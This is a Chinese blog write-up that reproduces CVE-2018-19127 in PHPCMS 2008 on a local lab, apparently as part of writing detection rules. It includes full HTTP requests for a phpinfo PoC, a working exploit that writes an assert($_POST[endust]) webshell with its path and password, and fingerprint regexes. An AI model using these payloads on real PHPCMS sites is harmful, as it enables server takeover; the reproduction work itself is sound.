【复现】PHPCMS 2008远程代码注入漏洞

远程代码注入漏洞

Posted by 看不尽的尘埃 on September 18, 2019

前言

最近在给公司写指纹规则、漏洞检测和利用规则,因此漏洞复现的文章更新会比较频繁。

0x00 漏洞介绍

  • 漏洞名称:PHPCMS 2008远程代码注入漏洞
  • CVE编号:CVE-2018-19127
  • 发布时间:2018-11-28
  • 漏洞说明:该漏洞利用向PHPCMS网站路径可控的缓存文件写入任意内容,从而可以写入PHP代码,获取网站WebShell,最终获取到网站的最高权限。
  • 影响范围:PHPCMS2008 sp4 及以下版本
  • 修复建议:PHPCMS 2008 官方已不再维护,建议升级到 2008 以上的版本

0x01 环境搭建

下载源码:http://www.onlinedown.net/soft/1135853.htm 下载完成后,打开phpstudy,解压到WWW目录下面,访问URL: 图片 根据提示点击安装,下图是配置数据库信息和管理员信息: 图片

在安装过程中遇到报错的话是mysql版本高了,毕竟这款CMS比较老了。因为TYPE和ENGINE都代表数据库引擎,但type只向下兼容,所以mysql版本太高了不兼容,所以这里需要替换所有文件中存在以下关键词的,替换成–>后面的内容就可以安装成功了:

TYPE=MyISAM --> ENGINE=MyISAM 
TYPE=MEMORY --> ENGINE=MEMORY

修改完成后,重新配置数据库信息和管理员信息,完成后提交,过五秒提示安装成功: 图片

0x02 检测与利用

Poc(检测)代码

我通过网上的EXP修改了一下,改为了显示phpinfo信息:

http://127.0.0.1/phpcms/type.php?template=tag_(){};@unlink(FILE);assert(phpinfo());{//../rss

以下是请求的数据包:

GET /phpcms/type.php?template=tag_(){};@unlink(FILE);assert(phpinfo());{//../rss HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Sec-Fetch-Mode: navigate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: none
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7

下图说明了搭建的靶机环境确实存在该漏洞: 图片

利用(EXP)代码

/type.php?template=tag_(){};@unlink(FILE);assert($_POST[endust]);{//../rss

以下是请求的数据包:

GET /phpcms/type.php?template=tag_(){};@unlink(FILE);assert($_POST[endust]);{//../rss HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Sec-Fetch-Mode: navigate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: none
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7

请求完成后,状态码为200的话,就可以尝试通过一句话客户端去连接一下:

连接地址:http://localhost/data/cache_template/rss.tpl.php
密码:endust

0x03 Web指纹

顺便记录一下Phpcms指纹规则:

1、<meta name\="generator" content=\"Phpcms (.*?)">
2、<link href="(.*)/phpcms.css(.*)>")
3、<meta content="Phpcms(.*)>")

0x04 总结

复现挺容易的,就是搭建这个环境花了一点时间,从想放弃到静下心来解决问题,而不是逃避问题,最后通过百度也成功解决了安装报错的问题。